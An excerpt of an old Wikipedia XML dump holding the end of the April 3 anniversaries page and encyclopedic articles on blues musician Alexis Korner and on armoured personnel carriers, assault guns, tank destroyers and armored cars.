*[[1764]] - [[John Abernethy (surgeon)|John Abernathy]], English surgeon (d. [[1831]])
*[[1769]] - [[Christian Gunther von Bernstorff]], Danish and Prussian statesman and diplomat (d. [[1835]])
*[[1781]] - [[Swaminarayan]], The Supreme God (d. [[1830]])
*[[1783]] - [[Washington Irving]], American author (d. [[1859]])
*[[1814]] - [[Lorenzo Snow]], 5th president of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (d. [[1901]])
*[[1822]] - [[Edward Everett Hale]], American writer, (d. [[1909]])
*[[1823]] - [[William Marcy Tweed]], American political boss (d. [[1878]])
*[[1880]] - [[Otto Weininger]], Austrian philosopher (d. [[1903]])
*[[1881]] - [[Alcide De Gasperi]], [[Prime Minister of Italy]] (d. [[1954]])
*[[1885]] - [[Allan Dwan]], Canadian-born American film director (d. [[1981]])
*[[1889]] - [[Grigoraş Dinicu]], Romanian composer and violinist (d. [[1949]])
*[[1893]] - [[Leslie Howard]], English actor (d. [[1943]])
*[[1895]] - [[Mario Castelnuovo-Tedesco]], Italian composer (d. [[1968]])
*[[1898]] - [[George Jessel (actor)|George Jessel]], American comedian (d. [[1981]])
*1898 - [[Henry Luce]], American publisher (d. [[1967]])
*[[1904]] - [[Iron Eyes Cody]], American actor (d. [[1999]])
*[[1913]] - [[Per Borten]], Premier of Norway (d. [[2005]])
*[[1916]] - [[Herb Caen]], American newspaper columnist (d. [[1997]])
*[[1921]] - [[Jan Sterling]], American actress (d. [[2004]])
*[[1924]] - [[Marlon Brando]], American actor (d. [[2004]])
*1924 - [[Doris Day]], American actress
*[[1925]] - [[Tony Benn]], British politician
*[[1926]] - [[Gus Grissom]], astronaut (d. [[1967]])
*[[1928]] - [[Don Gibson]], American country musician (d. [[2003]])
*1928 - [[Kevin Hagen]], American actor  (d. [[2005]])
*[[1929]] - [[Miyoshi Umeki]], Japanese actress
*[[1930]] - [[Lawton Chiles]], U.S. Senator from Florida and Governor of Florida (d. [[1998]])
*1930 - [[Helmut Kohl]], [[Chancellor of Germany]]
*[[1934]] - [[Jane Goodall]], English zoologist
*[[1936]] - [[Scott LaFaro]], American musician (d. [[1961]])
*[[1938]] - [[Jeff Barry]], American songwriter and record producer
*[[1941]] - [[Eric Braeden]], German-born actor
*1941 - [[Philippe Wynne]], American musician (d. [[1984]])
*1941 - [[Jan Berry]], American musician ([[Jan and Dean]]) (d. [[2004]])
*[[1942]] - [[Marek Perepeczko]], Polish actor (d. [[2005]])
*1942 - [[Marsha Mason]], American actress
*1942 - [[Wayne Newton]], American singer
*1942 - [[Billy Joe Royal]], American singer
*[[1943]] - [[Jonathan Lynn]], British actor and comedy writer
*1943 - [[Richard Manuel]], Canadian musician and songwriter (d. [[1986]])
*[[1944]] - [[Tony Orlando]], American musician
*[[1948]] - [[Carlos Salinas]], [[President of Mexico]]
*[[1949]] - [[Richard Thompson]], British musician and songwriter
*1949 - [[Lyle Alzado]], American football player
*[[1954]] - [[Elisabetta Brusa]], Italian composer
*[[1956]] - [[Ray Combs]], American game show host and comedian (d. [[1996]])
*[[1958]] - [[Alec Baldwin]], American actor
*[[1959]] - [[David Hyde Pierce]], American actor
*[[1961]] - [[Eddie Murphy]], American actor and comedian
*[[1962]] - [[Mike Ness]], American musician ([[Social Distortion]])
*[[1964]] - [[Bjarne Riis]], Danish cyclist
*[[1968]] - [[Sebastian Bach]], Canadian musician ([[Skid Row (heavy metal band)|Skid Row]])
*1968 - [[Charlotte Coleman]], British actress (d. [[2001]])
*[[1972]] - [[Jennie Garth]], American actress
*[[1973]] - [[Matthew Ferguson]], Canadian actor
*[[1975]] - [[Michael Olowokandi]], Nigerian basketball player
*[[1976]] - [[Drew Shirley]], American musician ([[Switchfoot]])
*1976 - [[Will Mellor]], British actor
*[[1978]] - [[G. M. Palmer]], American poet and editor
*[[1979]] - [[Daniel Lane]], British music journalist
*[[1982]] - [[Fler]], German rapper
*[[1986]] - [[Amanda Bynes]], American actress and show host

==Deaths==
*[[33]] - [[Jesus]] (b. [[1]]), [[Christian]] icon, believed to have conquered death on [[5 April]], [[33]] ([[Easter Sunday]])
*[[963]] - [[William III of Aquitaine|William III, Duke of Aquitaine]] (b. [[915]])
*[[1287]] - [[Pope Honorius IV]]
*[[1350]] - [[Eudes IV, Duke of Burgundy]] (b. [[1295]])
*[[1606]] - [[Charles Blount, 1st Earl of Devon]], English politician (b. [[1563]])
*[[1680]] - [[Shivaji]], founder of the Maratha Empire (b. [[1630]])
*[[1682]] - [[Bartolomé Estéban Murillo]], Spanish painter (b. [[1618]])
*[[1691]] - [[Jean Petitot]], Swiss enamel painter (b. [[1608]])
*[[1695]] - [[Melchior d'Hondecoeter]], Dutch painter
*[[1717]] - [[Jacques Ozanam]], French mathematician (b. [[1640]])
*[[1728]] - [[James Anderson (lawyer)|James Anderson]], Scottish lawyer (b. [[1662]])
*[[1792]] - [[George Pocock]], British admiral (b. [[1706]])
*1792 - [[John Montagu, 4th Earl of Sandwich]], English statesman (b. [[1718]])
*[[1827]] - [[Ernst Chladni]], German physicist (b. [[1856]])
*[[1849]] - [[Juliusz Słowacki]], Polish poet (b. [[1809]])
*[[1868]] - [[Franz Berwald]], Swedish composer and inventor (b. [[1796]])
*[[1882]] - [[Jesse James 1847|Jesse James]], American outlaw (b. [[1847]])
*[[1897]] - [[Johannes Brahms]], German composer (b. [[1833]])
*[[1901]] - [[Richard D'Oyly Carte]], British impresario (b. [[1844]])
*[[1932]] - [[Wilhelm Ostwald]], German chemist, [[Nobel Prize]] laureate (b. [[1853]])
*[[1936]] - [[Bruno Hauptmann]], German killer of Charles Lindbergh III (b. [[1899]])
*[[1950]] - [[Kurt Weill]], German composer (b. [[1900]])
*[[1965]] - [[Ernst Kirchweger]], Austrian communist and resistance fighter
*[[1971]] - [[Joseph Valachi]], American gangster (b. [[1904]])
*[[1972]] - [[Ferde Grofé]], American composer (b. [[1882]])
*[[1982]] - [[Warren Oates]], American character actor (b. [[1928]])
*[[1986]] - [[Richard Manuel]], Canadian musician ([[The Band]]) (b. [[1943]])
*1986 - [[Peter Pears]], English tenor (b. [[1910]])
*[[1987]] - [[Tom Sestak]], American football player (b. [[1936]])
*[[1990]] - [[Sarah Vaughn]], American singer (b. [[1924]])
*[[1991]] - [[Graham Greene]], English writer (b. [[1904]])
*1991 - [[Charles Goren]], American bridge player, writer, and columnist (b. [[1901]])
*[[1993]] - [[Pinky Lee]], American children's television host (b. [[1907]])
*[[1996]] - [[Ron Brown (U.S. politician)|Ron Brown]], U.S. Secretary of Commerce (b. [[1941]])
*1996 - [[Carl Stokes]], Mayor of Cleveland, Ohio (b. [[1927]])
*[[1998]] - [[Rob Pilatus]], American entertainer and criminal ([[Milli Vanilli]]) (b. [[1965]])
*[[2000]] - [[Terence McKenna]], American writer and philosopher (b. [[1946]])
*[[2002]] - [[Frank Tovey]] (aka [[Fad Gadget]]), British singer and musician (b. [[1956]])
*[[2005]] - [[Tony Croatto]], Italian-born singer (b. [[1940]])

==Holidays and observances==
In [[Iran]], people play jokes on each other on April 3, the 13th day of the [[Persian calendar]] new year ([[Norooz]]). This day is called &quot;Sizdah bedar&quot; (Out-door thirteen).  It is believed that people should go out on this date in order to escape the [[unlucky number|bad luck of number]] [[13 (number)#As lucky, unlucky, or significant number|13]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/3 BBC: On This Day]
* [http://www.tnl.net/when/4/3 Today in History: April 3]

----

[[April 2]] - [[April 4]] - [[March 3]] - [[May 3]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:3 April]]
[[ar:3 إبريل]]
[[an:3 d'abril]]
[[ast:3 d'abril]]
[[bg:3 април]]
[[be:3 красавіка]]
[[bs:3. april]]
[[ca:3 d'abril]]
[[ceb:Abril 3]]
[[cv:Ака, 3]]
[[co:3 d'aprile]]
[[cs:3. duben]]
[[cy:3 Ebrill]]
[[da:3. april]]
[[de:3. April]]
[[et:3. aprill]]
[[el:3 Απριλίου]]
[[es:3 de abril]]
[[eo:3-a de aprilo]]
[[eu:Apirilaren 3]]
[[fo:3. apríl]]
[[fr:3 avril]]
[[fy:3 april]]
[[fur:3 di Avrîl]]
[[ga:3 Aibreán]]
[[gl:3 de abril]]
[[ko:4월 3일]]
[[hr:3. travnja]]
[[io:3 di aprilo]]
[[id:3 April]]
[[ia:3 de april]]
[[ie:3 april]]
[[is:3. apríl]]
[[it:3 aprile]]
[[he:3 באפריל]]
[[jv:3 April]]
[[ka:3 აპრილი]]
[[csb:3 łżëkwiôta]]
[[ku:3'ê avrêlê]]
[[lt:Balandžio 3]]
[[lb:3. Abrëll]]
[[li:3 april]]
[[hu:Április 3]]
[[mk:3 април]]
[[ms:3 April]]
[[nap:3 'e abbrile]]
[[nl:3 april]]
[[ja:4月3日]]
[[no:3. april]]
[[nn:3. april]]
[[oc:3 d'abril]]
[[pl:3 kwietnia]]
[[pt:3 de Abril]]
[[ro:3 aprilie]]
[[ru:3 апреля]]
[[se:Cuoŋománu 3.]]
[[sq:3 Prill]]
[[scn:3 di aprili]]
[[simple:April 3]]
[[sk:3. apríl]]
[[sl:3. april]]
[[sr:3. април]]
[[fi:3. huhtikuuta]]
[[sv:3 april]]
[[tl:Abril 3]]
[[tt:3. Äpril]]
[[te:ఏప్రిల్ 3]]
[[th:3 เมษายน]]
[[vi:3 tháng 4]]
[[tr:3 Nisan]]
[[uk:3 квітня]]
[[ur:3 اپریل]]
[[wa:3 d' avri]]
[[war:Abril 3]]
[[zh:4月3日]]
[[pam:Abril 3]]</text>
    </revision>
  </page>
  <page>
    <title>Ailuropoda melanoleuca</title>
    <id>2280</id>
    <revision>
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        <username>Tannin</username>
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    <title>Alopex lagopus</title>
    <id>2281</id>
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      <timestamp>2005-06-28T11:37:01Z</timestamp>
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        <username>Tannin</username>
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  <page>
    <title>Alexis Korner</title>
    <id>2282</id>
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      <timestamp>2006-02-24T12:58:22Z</timestamp>
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        <username>DabMachine</username>
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      <minor />
      <comment>disambiguation from [[Radio 1]] to [[BBC Radio 1]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Alexis Korner''' ([[April 19]], [[1928]] Paris - [[January 1]], [[1984]] London), was an English [[blues music]]ian. 

Korner is probably better remembered as a networker and blues historian alhough he was a proficient guitarist and singer himself. Often referred to as &quot;the father of British blues&quot;, Korner was instrumental in bringing together various English blues musicians, such as [[John Mayall]] as well as [[Brian Jones]], [[Mick Jagger]] and [[Keith Richards]], who went on to form the [[Rolling Stones]].  

He also brought previously unknown American blues artists to England to perform. There is an apocryphal story that the Rolling Stones went to stay at Korner's house late one night, in the early '60s, after a performance. They entered in the accepted way, by climbing in through the kitchen window, to find [[Muddy Waters]]'s band sleeping on the kitchen floor.

Always a blues purist, Korner criticised better-known British blues musicians, during the blues boom of the late '60s, for their blind adherence to [[Chicago blues]], as if the music came in no other form.  

Ironically, he would have his greatest commercial success in the early [[1970s]] with a [[jazz-rock]] band
called [[C. C. S. (pop group)|C. C. S.]] - short for ''The Collective Consciousness Society'', formed with musical director [[John Cameron]], singer [[Peter Thorup]] and record producer [[Mickie Most]].  They had hits with &quot;[[Walkin']]&quot;, &quot;[[Tap Turns on the Water]]&quot;, &quot;[[Brother (song)|Brother]]&quot; which later became the theme tune to the Top 20 (later Top 40) on [[BBC]] [[BBC Radio 1|Radio 1]], &quot;[[The Band Played the Boogie]]&quot;, and the best-remembered, an instrumental version of [[Led Zeppelin]]'s &quot;[[Whole Lotta Love]]&quot;. This version was used for many years as the theme music for the [[television]] show &quot;[[Top Of The Pops]]&quot;.  

After they disbanded in 1974 he formed another group, [[Snape (group)|Snape]].  In his last years, he turned more to broadcasting, and presented a weekly blues and soul show for [[BBC]] [[BBC Radio 1|Radio 1]].

{{Listen|filename=CCS - Whole Lotta Love excerpt.ogg|title=CCS - Whole Lotta Love excerpt|description=An excerpt from the C. C. S. version of ''Whole Lotta Love''}}

==External links==
*[http://alexis-korner.net Alexis Korner website] 
*[http://www.radiorewind.co.uk/Alexis_Korner_page.htm Alexis Korner page at Radio Rewind]

[[Category:1928 births|Korner, Alexis]]
[[Category:1984 deaths|Korner, Alexis]]
[[Category:English musicians|Korner, Alexis]]

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  <page>
    <title>Armoured personnel carrier</title>
    <id>2283</id>
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      <timestamp>2006-02-21T13:28:40Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
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      <minor />
      <comment>United Kingdom</comment>
      <text xml:space="preserve">[[Image:M113.jpg|thumb|right|The [[M113]], one of the most common tracked APCs, on duty during the [[Vietnam War]].]]

'''Armoured personnel carriers''' (APCs) are light [[armoured fighting vehicle]]s for the transport of [[infantry]].  They usually have only a [[machine gun]] although variants carry [[recoilless rifle]]s, [[anti-tank guided missile]]s (ATGMs), or [[mortar (weapon)|mortar]]s.  They are not really designed to take part in a direct-fire battle, but to carry the troops to the battlefield safe from [[shrapnel]] and [[ambush]]. They may have [[wheel]]s or [[Caterpillar track|tracks]]. Examples include the American [[M113]] (tracked), the [[United Kingdom|British]] [[FV 432 AFV|FV 432]] (tracked), the [[France|French]] [[Véhicule de l'Avant Blindé|VAB]] (wheeled), the [[Germany|German]] [[Boxer MRAV]] (wheeled) and the Soviet [[BTR-60 |BTR]] (wheeled).

==History==
[[Image:Bt7 6.jpg|thumb|right|Before the advent of APCs, some forces practised very dangerous [[tank desant]] tactics]]

During [[World War I]], when the [[tank]] was developed, the British [[Mark I (tank)|Mark V]] tank was designed with a small passenger compartment to carry troops.  By some definitions this can be considered the first armoured personnel carrier.  The first specialised APC was the [[Mark IX tank|Mark IX]] of [[1918]].

Often, APCs were simply armoured cars with the capacity for carrying troops, but they evolved into purpose-built vehicles to suit the demands of motorised warfare from [[World War II]]. 

In [[1944]], the commander of [[2nd Canadian Corps]], General [[Guy Simonds]], ordered the conversion of 72 [[United States|US]]-produced [[M7 Priest]] self-propelled [[howitzer]]s to personnel carriers.  They were due for replacement anyway, as the howitzer barrels were worn out.  The howitzer was removed, and the resulting hole was plugged with whatever steel was available.  The vehicle was called [[Kangaroo (armoured personnel carrier)|Kangaroo]], after the workshop which did the conversion. Later in the war Canadian-built [[Ram tank|Ram]] tanks were used as a basis for the majority of conversions, as they were then obsolete and the original Kangaroos were worn out.

After the war different specialised APCs were developed.  The United States developed a series of tracked vehicles, culminating in the M113 &quot;box on tracks&quot;, of which 80,000 were made.  The [[Soviet Union]] developed the wartime [[BTR-40]] into a series of 8-wheeled APC.

At the end of the [[1980s]], [[Israel]] converted captured [[T-55]] tanks to APCs, reminiscent of WWII conversions.  The result is one of the best protected APCs in the world, called [[IDF Achzarit]].

==Technology==
[[Image:VAB armoured personnel carrier DSC00846.jpg|right|thumb|A French VAB, one of the most common wheeled APCs]]

Most armoured personnel carriers use a [[diesel engine]] comparable to that used in a large [[truck]] or in a typical city [[bus]] (APCs are often known to troops as 'Battle Taxis' or 'Battle Buses').  The M113 for instance used the same engine as the standard [[General Motors]] urban bus.  A single M113 moving at top speed generates as much noise as a General Motors urban bus moving at top speed.  However, the typical armoured personnel carrier can carry only six to ten soldiers while a typical urban bus can carry thirty to fifty seated passengers, and hundreds when standing passengers are included.

Most APCs are amphibious.  Usually tracked APCs are powered by their tracks in the water, and wheeled APCs have propellors or [[water jet]]s.  Preparations for amphibious operations usually comprises checking the integrity of the hull and folding down a trim wane in front.  Swimming required fairly still waters, and good entry and exit points.  Speed in water is typically 3-6 km/h.

Armour on APCs are usually simple steel or [[aluminium]] armour, sufficient for protection against small arms fire and most shell fragments.  Just about any type of anti-tank weapon can defeat the armour of an APC.

The usual armament for an APC is a 12.7 (.50) or 14.5 mm heavy [[machine gun]].  This is mounted on top of the vehicle, either on a simple [[pintle mount]], sometimes with a gun shield, or a small turret.  Sometimes an automatic [[grenade launcher]] is used instead.

==The APC in action==
[[Image:BTR-80 and Bradley.jpg|right|thumb|APC vs. IFV: [[United States|US]] [[M2 Bradley]] IFV on the left and [[Russia|Russian]] [[BTR-80]] APC on the right]]
[[Image:Stryker deployment.jpg|right|thumb|US infantrymen de-bussing from a [[Stryker]] wheeled APC.  Note the lowered ramp for easy access.]]

[[Romania]]n Transporter Auto Blindat APCs that made infamous front-line news in 1989 were mostly eight-wheeled, massive Romanian clones of the Soviet [[BTR-60]] APC. Soldiers hated this machine, with uncomfortable access from above and heavy latches that seemed designed to snap one's fingers off. Limited visibility and clumsy manoeuvrability in an urban environment might have contributed (along with bad will, of course) to the numbers of deaths through crushing during the [[Romanian Revolution]].

The idea of the APC has arrived in the modern era to become the [[IFV]], from which troops can fight, firing their weapons from ports in the vehicle, instead of just being transported by it; examples being the US [[M2 Bradley]] or Russian [[BMP-1|BMP]] series. 

Actual combat experience has however shown that infantry cannot fight effectively from their vehicle and a mounted attack is practically suicidal. As a result, most infantry vehicles no longer have firing ports; most of those on the M2 Bradley for example have been covered over by additional armour protection. They have been omitted completely from newer designs. As a result the main distinction between an APC and IFV is now simply that an IFV mounts an automatic cannon of 20-40mm calibre for heavier fire support and anti armour capability, while an APC is armed only with machine guns. 

Many APC designs have been converted to IFVs by the addition of such an automatic cannon, and many chassis’s are produced in both machine gun and grenade launcher armed APC and cannon armed IFV form. The reason for doing this may be cost, or the need for more interior space on some vehicles, as automatic cannon and their ammunition supply may reduce the number of infantry that can be carried.

== See also==
*[[Infantry fighting vehicle]]

[[Category:Armored fighting vehicles by type]]
[[Category:Armoured personnel carriers|*]]

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  <page>
    <title>Assault gun</title>
    <id>2284</id>
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      <id>40549573</id>
      <timestamp>2006-02-21T10:11:17Z</timestamp>
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        <username>Bukvoed</username>
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      <comment>/* World War II */ some minor additions and rephrasing; and BTW SU-85 was a tank destroyer, not an assault gun</comment>
      <text xml:space="preserve">An '''assault gun''' is a [[gun]] or [[howitzer]] mounted on a motor vehicle or armored chassis, designed for use in the [[direct fire]] role in support of [[infantry]] when attacking other infantry or fortified positions.

Historically the custom-built fully armored assault guns usually mounted the gun or howitzer in a fully enclosed casemate on a tank chassis. The use of a casemate instead of a turret limited these weapons' field of fire, but provided a simpler construction that was cheaper to build and less prone to mechanical breakdowns. The increased space and reduced weight of the turretless design also allowed mounting a larger weapon and providing heavier frontal armor on any given chassis, and in most cases these turretless vehicles also presented a lower profile as a target for the enemy.

==History==

===World War II===
[[Image:KW-2 1940.jpg|thumb|left|250px|Soviet [[KV-2]] &quot;Heavy Assault Tank&quot; was really an assault gun, 1940.]]

Assault guns were primarily used during [[World War II]], in the hands of the [[Germany|Germans]] and [[Soviet Union|Soviets]]. Early in the war the Germans began to create makeshift assault guns by mounting their infantry support weapons on the bed of a truck or on obsolete [[tank]]s with the turret removed. Later in the war both the Germans and the Soviets introduced fully armored purpose-built assault guns into their arsenals.

Early on the Soviets built the KV-2, a variant of the [[KV-1]] heavy tank with a short-barreled 152mm howitzer mounted in an oversized turret. They later produced a very successful series of increasingly powerful turretless assault guns on the KV, the [[SU-76]], [[SU-122]], and the heavy [[SU-152]], which were followed by the [[ISU-122]] and [[ISU-152]] on the newer [[Iosif Stalin tank|IS]] heavy tank chassis.

[[Image:StugIII at Kursk.jpg|thumb|right|250px|German [[StuG III]] with high-velocity 75mm gun, 1943.]]

The primary German assault gun was the [[Sturmgeschütz III]] (StuG III). Armed with a high-velocity dual-purpose 75mm gun, late production StuG III variants blurred the line between assault guns and [[tank destroyer]]s. The Germans also built a number of other fully armored turretless assault guns, including the [[StuG IV]], [[Sturmgeschütz_III#Variants|StuH 42]], [[Brummbär]], [[Sturmtiger]]. The latter two were very heavy vehicles, built only in small quantities.

Battalions of assault guns, usually StuG IIIs, commonly replaced the intended panzer battalion in the German [[Panzergrenadier|panzergrenadier divisions]] due to the chronic shortage of tanks, and were sometimes used as makeshifts even in the [[panzer division]]s. Independent battalions were also deployed as 'stiffeners' for infantry divisions, and the StuG III's anti-tank capabilities contributed much to the German's ability to draw out the war long after they had lost the strategic initiative.

=== Postwar use ===

In the post-[[World War II|WWII]] era a second use was envisioned for the assault gun, as a light-weight air-deployable direct fire weapon for use with airborne troops. Current weapons were either based on [[jeep]]s or small [[Caterpillar track|tracked]] vehicles and the airborne troops thus always fought at a distinct disadvantage in terms of heavy weapons.

The US was the first to build an assault gun in this category, the 152mm armed [[M551 Sheridan]]. The Sheridan's gun was a low-velocity weapon suitable in the assault role, but with the addition of the [[Shillelagh missile]] could double in the anti-tank role as well. The Sheridan was generally considered a failure however, and largely detested by its crews.

An attempt to address the Sheridan's problems and provide the airborne divisions with a modern weapon system developed into the [[M8 Armored Gun System]] (or ''AGS''). However the AGS was continually stung with budget cuts and program changes, and was never produced. Instead a wheeled vehicle based on the standard LAV III wheeled chassis is being deployed with the 105mm gun as the [[Stryker]], with similar characteristics as the [[Centauro]] Wheeled Tank Destroyer of the [[Italian army|Italian Army]] and the French [[AMX 10 RC]].

Another country to 'retry' the assault gun after [[World War II]] was Sweden with the [[Stridsvagn_103|Stridsvagn 103]], developped in the 50's. After minor modifications, it came into service in 1966 and was used untill phased it in 1997 with the arrival of the [[Leopard II]].

== See also ==

* [[Tank destroyer]]
* [[Armored fighting vehicle]]

[[Category:Assault guns]]

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  <page>
    <title>Anti-tank vehicles</title>
    <id>2285</id>
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      <minor />
      <comment>Fix Double Redirect - [[WP:WS|Please return the favour by clicking here to fix someone else's Wiki syntax]].</comment>
      <text xml:space="preserve">#REDIRECT [[Tank destroyer]]</text>
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  <page>
    <title>Tank destroyer</title>
    <id>2286</id>
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      <id>41984953</id>
      <timestamp>2006-03-03T01:20:23Z</timestamp>
      <contributor>
        <ip>68.121.241.72</ip>
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      <comment>changed the sentence: &quot;...which shared component with the IS-2 heavy tank&quot; to components instead of component</comment>
      <text xml:space="preserve">A self-propelled anti-tank gun, or '''tank destroyer''', is a type of [[armoured fighting vehicle]].  Tank destroyers are used primarily to provide [[antitank]] support for [[infantry]] or [[tank]] units, in [[defence (military) | defensive]] or [[withdrawal (military) |withdrawal]] operations. They may mount a high-velocity anti-tank gun or sometimes an [[antitank guided missile]] launcher, or ATGM.

Tank destroyers cannot fulfil the many roles of tanks; they are much less flexible, and usually lack a strong anti-infantry capability.  But they are much less expensive to manufacture, maintain, and resupply than tanks.

Gun-armed tank destroyers have been largely supplanted by the more general-purpose tanks since Second World War, but lightly-armoured ATGM carriers are used for supplementary long-range antitank capabilities.

== World War II ==

[[Image:ISU-122 skos RB.jpg|thumb|350px|Soviet [[ISU-122]] tank destroyer with Polish Army markings]]

Dedicated antitank vehicles made their first major appearance in [[the Second World War]], as combatants developed effective armoured vehicles and tactics.

These tank destroyers fell broadly into two categories. Some were designed to be faster and cheaper than medium tanks while still able to destroy heavy armour at long range. Some of these designs were clearly expedients rushed into production. The second design strategy was to create heavily-armoured vehicles that were more effective tank destroyers than enemy tanks.

[[Nazi Germany|German]] and [[Soviet Union|Soviet]] designs mounted anti-tank guns, with limited traverse in turretless hulls.  The results were smaller, lighter, and simpler to build than tanks, but could carry larger guns.   This design methodology was used by both forces to provide heavier anti-tank capability at lower cost, during the rapid up-armoring of all AFVs that took place during the war.

For instance, the German [[Panzer I]] light tank was obsolete before the war even started, with thin armor and only machine guns for armament. Yet it was forced into battle during the invasion of [[Poland]], where it was found to be a death trap. Before the invasion of [[France]], 202 were rebuilt as [[Panzerjäger I]] self-propelled 47mm anti-tank guns. Soon the same sort of thing happened to [[Panzer II]] tanks during [[Operation Barbarossa]]: captured Soviet 76.2mm anti-tank guns were mounted on [[Panzer II]] chassis, producing [[Marder II]] anti-tank guns. The most common mounting was a German 75mm antitiank gun on the Czech [[Panzer 38(t)]] chassis to produce the [[Marder III]]. 

Whereas the [[Panzerjäger]]s (&quot;tank hunters&quot;) were based on the rebuilt chassis of obsolescent tanks, dedicated [[Jagdpanzer]] (&quot;hunting tank&quot;) versions of tanks were developed later in the war.  The [[Jagdpanther]] on the [[Panther tank]]'s chassis is considered the best of the Jagdpanzers. This vehicle mounted the L/71 version of the [[88mm gun]] on a reliable, highly mobile, well-armored chassis. The Soviets produced the 85mm [[SU-85]] and 100mm [[SU-100]] self-propelled guns based on the same chassis as the [[T-34]] medium tank, as well as the 122mm [[ISU-122]] and 152mm [[ISU-152]] which shared components with the [[IS-2]] heavy tank.  In 1943, the Soviets also shifted all production of light tanks like the [[T-70]] to much simpler and better-armed [[SU-76]] self-propelled guns, which used the same drive train.

The Germans became side-tracked into production of large numbers of tank-destroyers because they could be produced more cheaply than full tanks.   

=== US Army tank destroyer doctrine ===

[[U.S.]] and derivative [[United Kingdom|British]] designs were very different in conception. U.S. doctrine was based on the need to defeat German [[blitzkrieg]] tactics. U.S. units expected to be faced with large numbers of German tanks attacking on relatively narrow fronts. In actual practice, such attacks rarely happened. In pre–Second World War planning, U.S. tanks were not intended to fight enemy tanks directly. Instead they were dedicated to the roles of infantry support and exploitation in a fast moving battle. In order to deal with the enemy tanks U.S. forces would instead rely on separate tank destroyer units, which could deal with armor at long range.

The U.S. tank destroyer designs were intended to be very mobile and heavily armed. Most retained a turret, but left it open on top both to save weight and to accommodate a larger gun. The earliest expedient design was an [[M3 Half-track|M3 half-track]] mounting an M1897 75mm gun in a limited-traverse mount. The larger guns required a counterweight at rear of the turret, which can be seen on designs like the 3-inch gun [[M10 Wolverine]] and the 90 mm gun [[M36 Jackson]]. The [[M18 Hellcat|M18]] came closer to the U.S. ideal; the vehicle was very fast, small, and mounted a 76mm gun in a turret. The open top made these particularly vulnerable to artillery, air, and infantry assault, and the very idea of independent anti-tank groups was found unworkable. 

By [[1944]], a number of the &quot;basic&quot; [[Sherman tank|Sherman]]s in British use were being converted to [[Sherman Fireflies]] by adding [[17 pounder]] guns—giving each platoon of Shermans a dedicated anti-tank gun. In British service, 17-pounders were also mounted M10 Wolverine (&quot;Achilles&quot;) and [[Archer (tank destroyer)|Archer]] tank destroyers in the [[Comet tank|Comet]], the [[Cruiser Mk VIII Challenger|Challenger]] and the experimental [[Black Prince (tank)|Black Prince]] tanks.

Virtually every U.S. Infantry Division had an attached battalion of tank destroyers, and frequently also a tank battalion. In practice the two types of units were used interchangeably. In effect, the U.S. Army had a mix of vehicles that were either under-armed (the tanks) or under-armored (the tank destroyers). At the end of the war, the arrival of the more balanced [[M26 Pershing]] heavy tank design showed that the lesson had been learnt.

== Post–World War II development ==

In the face of the Warsaw Pact, a general need for extra firepower was identified. In the 1950s, the UK produced the Charioteer to beef up the tank regiments, mounting a 20 pounder gun in an oversize turret on the Cromwell tank hull - it lacked the all round capability of the Centurion tank.

With the development of flexible ATGMs which can be installed on almost any vehicle in the [[1960s]], the concept of the tank destroyer has waned.  
With the weight of main battle tanks growing to the forty to seventy-tonne range, airborne forces were unable to deploy reasonable antitank forces. The result was a number of attempts to make a light vehicle, including the conventional [[ASU-85]], the recoilless rifle–armed [[Ontos]], and missile-armed [[Malkara missile#FV1620 Humber Hornet|Hornet Malkara]] armoured car and [[M551 Sheridan|Sheridan]] light tank.

==Modern tank destroyers==
Many forces' [[IFV]]s carry ATGMs in every infantry platoon, and attack [[helicopter]]s have also added antitank capability to the modern battlefield.  But there are still dedicated antitank vehicles with very heavy long-range missiles, and ones intended for airborne use. 

[[Image:NM142 x 3.jpg|thumb|250px|A Norwegian antitank platoon equipped with [[NM142]] TOW missile launchers]]

There have also been dedicated antitank vehicles built on ordinary [[armoured personnel carrier]] or [[armoured car]] chassis. Examples include the U.S. M901 &quot;Improved TOW Vehicle&quot; and the [[Norway|Norwegian]] [[NM142]], both on an [[M113]] chassis, several [[Soviet]] ATGM launchers based on the [[BRDM]] reconnaissance car, and the [[Germany|German]] [[Raketenjagdpanzer]] series built on the chassis of the [[HS 30]] and [[Marder (IFV)|Marder]] IFV.

A [[United States Army|US Army]] mechanized infantry battalion has four infantry companies with TOW missile–armed [[M2 Bradley |Bradley IFVs]] and can bring a large concentration of accurate and lethal fire to bear on an attacking enemy unit that uses AFVs.

Some gun-armed tank destroyers continue to be used.  The German army had specialized [[Kanonenjagdpanzer]], similar in design to the WWII tank destroyers, from the mid-1960s until the 1980s.  [[China]] has developed the [[PTL02]] tank destroyer. This wheeled assault tank destroyer armed with a 100mm rifled gun was developed by NORINCO for the PLA new light (rapid reaction) mechanised infantry divisions. The vehicle has a three-man turret derived from the [[Type 96  |Type 88]] MBT, and a 6×6 wheeled chassis based on the [[WZ551]] APC. 

== References ==
* Harry Yeide, (2005) ''The Tank Killers: A History of America's World War II Tank Destroyer Force.'' Havertown, PA: Casemate. ISBN 1-9320-3326-2

[[Category:Tank destroyers|*]]

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  <page>
    <title>Armored car</title>
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      <timestamp>2006-02-27T15:15:13Z</timestamp>
      <contributor>
        <ip>85.103.141.195</ip>
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      <text xml:space="preserve">An '''armored car''' ( or '''armoured car''' in [[British English]]) is one of several types of wheeled armoured vehicles: a civilian bullet-proof limousine, a military wheeled armored vehicle, or a special-purpose armored vehicle, for example for transporting valuables.

==Military armoured cars==
[[Image:French VBL DSC00823.jpg|thumb|right|A [[France|French]] [[VBL]] reconnaissance vehicle.]]
A military '''armoured car''' is a type of [[armoured fighting vehicle]] having [[wheel]]s (from four to eight large off-road wheels) instead of [[Caterpillar track|tracks]], and usually light [[vehicle armour|armor]]. Armoured cars are typically inexpensive and have superior speed and range compared to more heavily armoured military vehicles.  Their normal use is for [[reconnaissance]], command, control, and communications (liaison between forward units). They may have a [[machine gun]], an [[autocannon]], a small gun, or may even be unarmed. 
[[Image:Oconnell-street-fighting-1.jpg|thumb|left|150px|A Rolls Royce armoured car in action in street fighting on [[Dublin]]'s [[O'Connell Street]] during the [[Irish Civil War]].]]

